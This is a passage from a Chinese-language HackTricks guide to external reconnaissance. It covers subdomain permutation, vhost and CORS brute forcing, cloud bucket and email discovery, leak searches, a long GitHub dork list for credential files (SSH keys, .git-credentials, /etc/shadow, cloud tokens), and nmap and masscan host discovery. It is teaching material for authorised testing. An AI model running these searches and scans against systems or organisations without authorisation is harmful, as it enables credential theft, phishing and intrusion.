goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
```

* [**gotator**](https://github.com/Josue87/gotator)**:** 给定域和子域生成排列。如果没有指定排列文件，gotator 将使用自己的文件。

```
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```

* [**altdns**](https://github.com/infosec-au/altdns): 除了生成子域名排列外，它还可以尝试解析它们（但最好使用前面评论过的工具）。
* 您可以在[**这里**](https://github.com/infosec-au/altdns/blob/master/words.txt)获取altdns排列**词表**。

```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```

* [**dmut**](https://github.com/bp0lr/dmut): 另一个执行子域的排列、变异和修改的工具。该工具将对结果进行暴力破解（不支持dns通配符）。
* 您可以在[**这里**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt)获取dmut排列词表。

```bash
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
```

* [**alterx**](https://github.com/projectdiscovery/alterx)**:** 基于一个域名，它根据指定的模式生成新的潜在子域名，以尝试发现更多子域名。

#### 智能排列生成

* [**regulator**](https://github.com/cramppet/regulator): 有关更多信息，请阅读这个[**post**](https://cramppet.github.io/regulator/index.html)，但基本上它会从发现的子域名中获取**主要部分**，并将它们混合以找到更多子域名。

```bash
python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```

* [**subzuf**](https://github.com/elceef/subzuf)**:** *subzuf* 是一个子域名暴力破解工具，配备了一个非常简单但有效的DNS响应引导算法。它利用提供的一组输入数据，如定制的单词列表或历史DNS/TLS记录，准确地合成更多对应的域名，并根据在DNS扫描过程中收集的信息进一步扩展它们。

```
echo www | subzuf facebook.com
```

### **子域发现工作流程**

查看我写的关于如何使用**Trickest工作流程自动化**从一个域中发现子域的博客文章，这样我就不需要在我的计算机上手动启动一堆工具了：

{% embed url="<https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

{% embed url="<https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

### **虚拟主机**

如果你找到一个包含**一个或多个网页**属于子域的IP地址，你可以尝试通过在**OSINT来源**中查找IP中的域名或者**通过在该IP中暴力破解VHost域名**来找到该IP中的其他子域。

#### OSINT

你可以使用[**HostHunter**](https://github.com/SpiderLabs/HostHunter) **或其他API**来查找一些**IP中的VHosts**。

**暴力破解**

如果你怀疑某个子域可能隐藏在一个Web服务器中，你可以尝试暴力破解它：

```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"

gobuster vhost -u https://mysite.com -t 50 -w subdomains.txt

wfuzz -c -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt --hc 400,404,403 -H "Host: FUZZ.example.com" -u http://example.com -t 100

#From https://github.com/allyshka/vhostbrute
vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com" --vhosts="vhosts_full.list"

#https://github.com/codingo/VHostScan
VHostScan -t example.com
```

{% hint style="info" %}
使用这种技术，您甚至可以访问内部/隐藏的端点。
{% endhint %}

### **CORS暴力破解**

有时您会发现只有在\_**Origin***标头中设置有效域/子域时，页面才会返回***Access-Control-Allow-Origin**\_标头。在这些情况下，您可以滥用这种行为来**发现**新的**子域**。

```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
```

### **存储桶暴力破解**

在寻找**子域**的同时，要留意是否指向任何类型的**存储桶**，如果是的话，[**检查权限**](/network-services-pentesting/pentesting-web/buckets)**。**\
此外，在这个阶段，您将知道范围内的所有域，尝试[**暴力破解可能的存储桶名称并检查权限**](/network-services-pentesting/pentesting-web/buckets)。

### **监控**

您可以通过监控**证书透明度**日志来**监控域的新子域**的创建，[**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)可以做到这一点。

### **寻找漏洞**

检查可能的[**子域接管**](/pentesting-web/domain-subdomain-takeover#subdomain-takeover)。\
如果**子域**指向某个**S3存储桶**，[**检查权限**](/network-services-pentesting/pentesting-web/buckets)。

如果您发现任何与资产发现中已发现的IP不同的**子域**，您应进行**基本漏洞扫描**（使用Nessus或OpenVAS）和一些[**端口扫描**](/generic-methodologies-and-resources/pentesting-network#discovering-hosts-from-the-outside)使用**nmap/masscan/shodan**。根据运行的服务，您可以在**本书中找到一些“攻击”它们的技巧**。\
*请注意，有时子域托管在客户不控制的IP内，因此不在范围内，请小心。*

## IPs

在初始步骤中，您可能已经**找到了一些IP范围、域和子域**。\
现在是时候**收集所有这些范围内的IP**和\*\*域/子域（DNS查询）\*\*了。

使用以下**免费API服务**，您还可以找到域和子域使用过的**先前IP**。这些IP可能仍然归客户所有（并且可能允许您找到[**CloudFlare绕过**](/network-services-pentesting/pentesting-web/uncovering-cloudflare)）。

* [**https://securitytrails.com/**](https://securitytrails.com/)

您还可以使用工具[**hakip2host**](https://github.com/hakluke/hakip2host)检查指向特定IP地址的域。

### **寻找漏洞**

**端口扫描所有不属于CDN的IP**（因为您很可能在那里找不到任何有趣的东西）。在发现的运行服务中，您可能**能够找到漏洞**。

**查找**[**关于如何扫描主机的指南**](/generic-methodologies-and-resources/pentesting-network)。

## Web服务器搜索

> 我们已经找到了所有公司及其资产，知道了范围内的IP范围、域和子域。现在是搜索Web服务器的时候了。

在之前的步骤中，您可能已经执行了一些**对发现的IP和域的侦察**，因此您可能已经找到了所有可能的Web服务器。但是，如果没有，我们现在将看到一些**快速搜索Web服务器的技巧**。

请注意，这将**针对Web应用程序发现**，因此您应该**执行漏洞**和**端口扫描**（**如果范围允许**）。

使用[**masscan可以找到与**web**服务器相关的**开放端口**的**快速方法\*\*](/generic-methodologies-and-resources/pentesting-network#http-port-discovery)。\
另一个友好的工具用于查找Web服务器是[**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe)和[**httpx**](https://github.com/projectdiscovery/httpx)。您只需传递一个域列表，它将尝试连接到端口80（http）和443（https）。此外，您可以指示尝试其他端口：

```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
```

### **截图**

现在你已经发现了**在范围内的所有Web服务器**（包括公司的**IP地址**以及所有**域名**和**子域名**），你可能**不知道从哪里开始**。所以，让我们简单点，先开始截取它们的屏幕截图。只需**查看**主页，你就可以找到更**奇怪**的端点，这些端点更有可能**存在漏洞**。

要执行建议的想法，你可以使用[**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、[**Gowitness**](https://github.com/sensepost/gowitness)或[**webscreenshot**](https://github.com/maaaaz/webscreenshot)**。**

此外，你可以使用[**eyeballer**](https://github.com/BishopFox/eyeballer)来查看所有**截图**，告诉你**可能包含漏洞**的内容，以及哪些不包含。

## 公共云资产

为了找到属于公司的潜在云资产，你应该**从能够识别该公司的关键字列表开始**。例如，对于加密公司，你可以使用诸如："crypto"、"wallet"、"dao"、"\<domain\_name>"、<"subdomain\_names">等词语。

你还需要**常用的存储桶中使用的常见词语**的词表：

* <https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt>
* <https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt>
* <https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt>

然后，使用这些词语生成**排列组合**（查看[**第二轮DNS暴力破解**](#second-dns-bruteforce-round)获取更多信息）。

使用生成的词表，你可以使用工具，如[**cloud\_enum**](https://github.com/initstring/cloud_enum)**、**[**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**、**[**cloudlist**](https://github.com/projectdiscovery/cloudlist)**或**[**S3Scanner**](https://github.com/sa7mon/S3Scanner)**。**

请记住，在寻找云资产时，你应该**不仅仅寻找AWS中的存储桶**。

### **寻找漏洞**

如果发现**公开的存储桶或暴露的云功能**等内容，你应该**访问它们**，尝试查看它们提供了什么，并尝试滥用它们。

## 电子邮件

有了范围内的**域名**和**子域名**，你基本上已经有了开始搜索电子邮件的所有必要信息。以下是对我来说寻找公司电子邮件最有效的**API**和**工具**：

* [**theHarvester**](https://github.com/laramies/theHarvester) - 使用API
* [**https://hunter.io/**](https://hunter.io/)的API（免费版本）
* [**https://app.snov.io/**](https://app.snov.io/)的API（免费版本）
* [**https://minelead.io/**](https://minelead.io/)的API（免费版本）

### **寻找漏洞**

稍后，电子邮件将有助于**暴力破解Web登录和认证服务**（如SSH）。此外，它们也是**钓鱼**所必需的。此外，这些API还将为你提供更多关于电子邮件背后的人的**信息**，这对于钓鱼活动很有用。

## 凭证泄漏

有了**域名**、**子域名**和**电子邮件**，你可以开始寻找过去泄露的属于这些电子邮件的凭证：

* [https://leak-lookup.com](https://leak-lookup.com/account/login)
* <https://www.dehashed.com/>

### **寻找漏洞**

如果找到**有效的泄漏**凭证，这将是一个非常容易的胜利。

## 机密信息泄漏

凭证泄漏涉及公司遭受**泄漏并出售敏感信息**的黑客攻击。然而，公司可能受到**其他泄漏**的影响，这些信息不在这些数据库中：

### Github泄漏

凭证和API可能会泄漏在**公司**或**那些github公司的开发人员**的**公共存储库**中。\
你可以使用**工具**[**Leakos**](https://github.com/carlospolop/Leakos)来**下载**一个**组织**及其**开发人员**的所有**公共存储库**，并自动运行[**gitleaks**](https://github.com/zricethezav/gitleaks)。

**Leakos**也可用于对其提供的**URL传递的所有文本**运行**gitleaks**，因为有时**网页也包含机密信息**。

#### Github Dorks

还要检查这个**页面**，以查找你攻击的组织中可能还可以搜索的**github dorks**：

{% content-ref url="/pages/uA3qOKr2tVAVk8YXbMxO" %}
[Github Dorks & Leaks](/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets)
{% endcontent-ref %}

### 粘贴泄漏

有时攻击者或工作人员会在粘贴网站上**发布公司内容**。这可能包含或不包含**敏感信息**，但搜索这些信息非常有趣。\
你可以使用工具[**Pastos**](https://github.com/carlospolop/Pastos)同时在80多个粘贴网站中搜索。

### Google Dorks

虽然老旧，但黄金谷歌dorks始终有助于找到**不应存在的暴露信息**。唯一的问题是，[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)包含数千个可能的查询，你无法手动运行。因此，你可以选择你最喜欢的10个查询，或者你可以使用工具，如[**Gorks**](https://github.com/carlospolop/Gorks)来运行它们。

*请注意，期望使用常规Google浏览器运行整个数据库的工具将永远无法结束，因为Google会很快阻止你。*

### **寻找漏洞**

如果找到**有效的泄漏**凭证或API令牌，这将是一个非常容易的胜利。

## 公共代码漏洞

如果发现公司有**开源代码**，你可以对其进行**分析**，寻找其中的**漏洞**。

根据**语言**的不同，你可以使用不同的**工具**：

{% content-ref url="/pages/OdkBVUiH3zg9T6mpXl6p" %}
[Source code Review / SAST Tools](/network-services-pentesting/pentesting-web/code-review-tools)
{% endcontent-ref %}

还有一些允许你**扫描公共存储库**的免费服务，例如：

* [**Snyk**](https://app.snyk.io/)

## [**网络渗透测试方法论**](/network-services-pentesting/pentesting-web)

**大多数漏洞**都存在于**Web应用程序**中，因此我想谈一下**Web应用程序测试方法论**，你可以在[**这里找到这些信息**](/network-services-pentesting/pentesting-web)。

我还想特别提到[**Web自动化扫描器开源工具**](/network-services-pentesting/pentesting-web#automatic-scanners)，因为尽管你不应该期望它们找到非常敏感的漏洞，但它们对于在**工作流程中实施一些初始的Web信息**非常有用。

## 总结

> 恭喜！到目前为止，你已经执行了**所有基本的枚举**。是的，这是基本的，因为还可以进行更多的枚举（稍后会看到更多技巧）。

所以你已经：

1. 找到了**范围内的所有公司**
2. 找到了所有公司拥有的**资产**（如果在范围内，则执行一些漏洞扫描）
3. 找到了所有公司拥有的**域名**
4. 找到了域名的所有**子域**（有子域接管吗？）
5. 找到了范围内所有**IP地址**（来自和**不来自CDN**）
6. 找到了所有**Web服务器**并对它们进行了**截图**（有什么奇怪的值得深入研究的吗？）
7. 找到了公司拥有的所有**潜在公共云资产**
8. **电子邮件**、**凭据泄漏**和**秘密泄漏**，这些可能让你**轻松获得巨大收益**。
9. **对你找到的所有网站进行渗透测试**

## **全面侦察自动化工具**

有几种工具可以针对给定范围执行所提议的部分操作。

* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
* [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw)
* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - 有点陈旧，未更新

## **参考资料**

* 所有[**@Jhaddix**](https://twitter.com/Jhaddix)的免费课程，如[**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-e70bceed6fa35760d025f037a78106ab025a68cd%2Fimage%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

如果你对**黑客职业**感兴趣并想要黑入不可黑入的 - **我们正在招聘！**（需要熟练的波兰语书面和口语能力）。

{% embed url="<https://www.stmcyber.com/careers>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果你想看到你的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)系列
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享你的黑客技巧**。

</details>


# Wide Source Code Search

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

**Try Hard Security Group**

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-dae1ef8c660e0243188462f22f417bbb1a2719d3%2Ftelegram-cloud-document-1-5159108904864449420.jpg?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://discord.gg/tryhardsecurity>" %}

***

本页面的目标是列举允许在一个或多个平台上搜索代码（文字或正则表达式）的**平台**。

这在多种情况下有助于搜索**泄漏信息**或**漏洞**模式。

* [**SourceGraph**](https://sourcegraph.com/search): 在数百万个仓库中搜索。有免费版本和企业版本（15天免费）。支持正则表达式。
* [**Github搜索**](https://github.com/search): 在Github上搜索。支持正则表达式。
* 也许还有必要检查[**Github代码搜索**](https://cs.github.com/)。
* [**Gitlab高级搜索**](https://docs.gitlab.com/ee/user/search/advanced_search.html): 在Gitlab项目中搜索。支持正则表达式。
* [**SearchCode**](https://searchcode.com/): 在数百万个项目中搜索代码。

{% hint style="warning" %}
当您在一个仓库中寻找泄漏并运行类似`git log -p`的命令时，不要忘记可能存在**其他分支和其他提交**包含机密信息！
{% endhint %}

**Try Hard Security Group**

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-dae1ef8c660e0243188462f22f417bbb1a2719d3%2Ftelegram-cloud-document-1-5159108904864449420.jpg?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://discord.gg/tryhardsecurity>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Github Dorks & Leaks

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-ce4fbfd491ab398bd58639023728b416b0758bc1%2Fi3.png?alt=media" alt="" data-size="original">\
**漏洞赏金提示**：**注册**Intigriti，这是一家由黑客创建的高级**漏洞赏金平台**！立即加入我们，访问[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)，开始赚取高达\*\*$100,000\*\*的赏金！

{% embed url="<https://go.intigriti.com/hacktricks>" %}

现在我们已经建立了我们范围内资产的列表，是时候搜索一些OSINT低 hanging fruits 了。

### 已经搜索泄漏的平台

* <https://trufflesecurity.com/blog/introducing-forager/>

### Github中的API密钥泄漏

* <https://github.com/dxa4481/truffleHog>
* <https://github.com/gitleaks/gitleaks>
* <https://github.com/Yelp/detect-secrets>
* <https://github.com/hisxo/gitGraber>
* <https://github.com/eth0izzle/shhgit>
* <https://github.com/techgaun/github-dorks>
* <https://github.com/michenriksen/gitrob>
* <https://github.com/anshumanbh/git-all-secrets>
* <https://github.com/awslabs/git-secrets>
* <https://github.com/kootenpv/gittyleaks>
* <https://github.com/obheda12/GitDorker>

### **Dorks**

```bash
".mlab.com password"
"access_key"
"access_token"
"amazonaws"
"api.googlemaps AIza"
"api_key"
"api_secret"
"apidocs"
"apikey"
"apiSecret"
"app_key"
"app_secret"
"appkey"
"appkeysecret"
"application_key"
"appsecret"
"appspot"
"auth"
"auth_token"
"authorizationToken"
"aws_access"
"aws_access_key_id"
"aws_key"
"aws_secret"
"aws_token"
"AWSSecretKey"
"bashrc password"
"bucket_password"
"client_secret"
"cloudfront"
"codecov_token"
"config"
"conn.login"
"connectionstring"
"consumer_key"
"credentials"
"database_password"
"db_password"
"db_username"
"dbpasswd"
"dbpassword"
"dbuser"
"dot-files"
"dotfiles"
"encryption_key"
"fabricApiSecret"
"fb_secret"
"firebase"
"ftp"
"gh_token"
"github_key"
"github_token"
"gitlab"
"gmail_password"
"gmail_username"
"herokuapp"
"internal"
"irc_pass"
"JEKYLL_GITHUB_TOKEN"
"key"
"keyPassword"
"ldap_password"
"ldap_username"
"login"
"mailchimp"
"mailgun"
"master_key"
"mydotfiles"
"mysql"
"node_env"
"npmrc _auth"
"oauth_token"
"pass"
"passwd"
"password"
"passwords"
"pem private"
"preprod"
"private_key"
"prod"
"pwd"
"pwds"
"rds.amazonaws.com password"
"redis_password"
"root_password"
"secret"
"secret.password"
"secret_access_key"
"secret_key"
"secret_token"
"secrets"
"secure"
"security_credentials"
"send.keys"
"send_keys"
"sendkeys"
"SF_USERNAME salesforce"
"sf_username"
"site.com" FIREBASE_API_JSON=
"site.com" vim_settings.xml
"slack_api"
"slack_token"
"sql_password"
"ssh"
"ssh2_auth_password"
"sshpass"
"staging"
"stg"
"storePassword"
"stripe"
"swagger"
"testuser"
"token"
"x-api-key"
"xoxb "
"xoxp"
[WFClient] Password= extension:ica
access_key
bucket_password
dbpassword
dbuser
extension:avastlic "support.avast.com"
extension:bat
extension:cfg
extension:env
extension:exs
extension:ini
extension:json api.forecast.io
extension:json googleusercontent client_secret
extension:json mongolab.com
extension:pem
extension:pem private
extension:ppk
extension:ppk private
extension:properties
extension:sh
extension:sls
extension:sql
extension:sql mysql dump
extension:sql mysql dump password
extension:yaml mongolab.com
extension:zsh
filename:.bash_history
filename:.bash_history DOMAIN-NAME
filename:.bash_profile aws
filename:.bashrc mailchimp
filename:.bashrc password
filename:.cshrc
filename:.dockercfg auth
filename:.env DB_USERNAME NOT homestead
filename:.env MAIL_HOST=smtp.gmail.com
filename:.esmtprc password
filename:.ftpconfig
filename:.git-credentials
filename:.history
filename:.htpasswd
filename:.netrc password
filename:.npmrc _auth
filename:.pgpass
filename:.remote-sync.json
filename:.s3cfg
filename:.sh_history
filename:.tugboat NOT _tugboat
filename:_netrc password
filename:apikey
filename:bash
filename:bash_history
filename:bash_profile
filename:bashrc
filename:beanstalkd.yml
filename:CCCam.cfg
filename:composer.json
filename:config
filename:config irc_pass
filename:config.json auths
filename:config.php dbpasswd
filename:configuration.php JConfig password
filename:connections
filename:connections.xml
filename:constants
filename:credentials
filename:credentials aws_access_key_id
filename:cshrc
filename:database
filename:dbeaver-data-sources.xml
filename:deployment-config.json
filename:dhcpd.conf
filename:dockercfg
filename:environment
filename:express.conf
filename:express.conf path:.openshift
filename:filezilla.xml
filename:filezilla.xml Pass
filename:git-credentials
filename:gitconfig
filename:global
filename:history
filename:htpasswd
filename:hub oauth_token
filename:id_dsa
filename:id_rsa
filename:id_rsa or filename:id_dsa
filename:idea14.key
filename:known_hosts
filename:logins.json
filename:makefile
filename:master.key path:config
filename:netrc
filename:npmrc
filename:pass
filename:passwd path:etc
filename:pgpass
filename:prod.exs
filename:prod.exs NOT prod.secret.exs
filename:prod.secret.exs
filename:proftpdpasswd
filename:recentservers.xml
filename:recentservers.xml Pass
filename:robomongo.json
filename:s3cfg
filename:secrets.yml password
filename:server.cfg
filename:server.cfg rcon password
filename:settings
filename:settings.py SECRET_KEY
filename:sftp-config.json
filename:sftp-config.json password
filename:sftp.json path:.vscode
filename:shadow
filename:shadow path:etc
filename:spec
filename:sshd_config
filename:token
filename:tugboat
filename:ventrilo_srv.ini
filename:WebServers.xml
filename:wp-config
filename:wp-config.php
filename:zhrc
HEROKU_API_KEY language:json
HEROKU_API_KEY language:shell
HOMEBREW_GITHUB_API_TOKEN language:shell
jsforce extension:js conn.login
language:yaml -filename:travis
msg nickserv identify filename:config
org:Target "AWS_ACCESS_KEY_ID"
org:Target "list_aws_accounts"
org:Target "aws_access_key"
org:Target "aws_secret_key"
org:Target "bucket_name"
org:Target "S3_ACCESS_KEY_ID"
org:Target "S3_BUCKET"
org:Target "S3_ENDPOINT"
org:Target "S3_SECRET_ACCESS_KEY"
password
path:sites databases password
private -language:java
PT_TOKEN language:bash
redis_password
root_password
secret_access_key
SECRET_KEY_BASE=
shodan_api_key language:python
WORDPRESS_DB_PASSWORD=
xoxp OR xoxb OR xoxa
s3.yml
.exs
beanstalkd.yml
deploy.rake
.sls
AWS_SECRET_ACCESS_KEY
API KEY
API SECRET
API TOKEN
ROOT PASSWORD
ADMIN PASSWORD
GCP SECRET
AWS SECRET
"private" extension:pgp
```

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现我们的独家\[**NFTs**]收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Pentesting Network

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-ce4fbfd491ab398bd58639023728b416b0758bc1%2Fi3.png?alt=media" alt="" data-size="original">\
**赏金提示**：**注册**Intigriti，这是一家由黑客创建的高级**赏金平台**！立即加入我们，访问[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)，开始赚取高达\*\*$100,000\*\*的赏金！

{% embed url="<https://go.intigriti.com/hacktricks>" %}

## 从外部发现主机

这将是一个关于如何找到**从互联网响应的IP地址**的**简短部分**。\
在这种情况下，您有一些**IP范围**（甚至可能有几个**范围**），您只需找到**哪些IP地址正在响应**。

### ICMP

这是发现主机是否启动的**最简单**和**最快**的方法。\
您可以尝试发送一些**ICMP**数据包并**期望响应**。最简单的方法就是发送一个**回显请求**并期望响应。您可以使用简单的`ping`或使用`fping`来处理**范围**。\
您还可以使用**nmap**发送其他类型的ICMP数据包（这将避免常见的ICMP回显请求-响应的过滤器）。

```bash
ping -c 1 199.66.11.4    # 1 echo request to a host
fping -g 199.66.11.0/24  # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests
```

### TCP端口发现

通常会发现各种类型的ICMP数据包被过滤。因此，您可以做的就是**尝试查找开放的端口**来检查主机是否在线。每台主机有**65535个端口**，因此，如果您有一个“大”范围，您**无法**测试每个主机的**每个端口**是否开放，这将花费太多时间。\
因此，您需要一个**快速端口扫描工具**（[masscan](https://github.com/robertdavidgraham/masscan)）和一个**常用端口列表**：

```bash
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
```

### HTTP端口发现

这只是一个TCP端口发现，当你想要**专注于发现HTTP服务**时非常有用：

```bash
masscan -p80,443,8000-8100,8443 199.66.11.0/24
```

### UDP端口发现

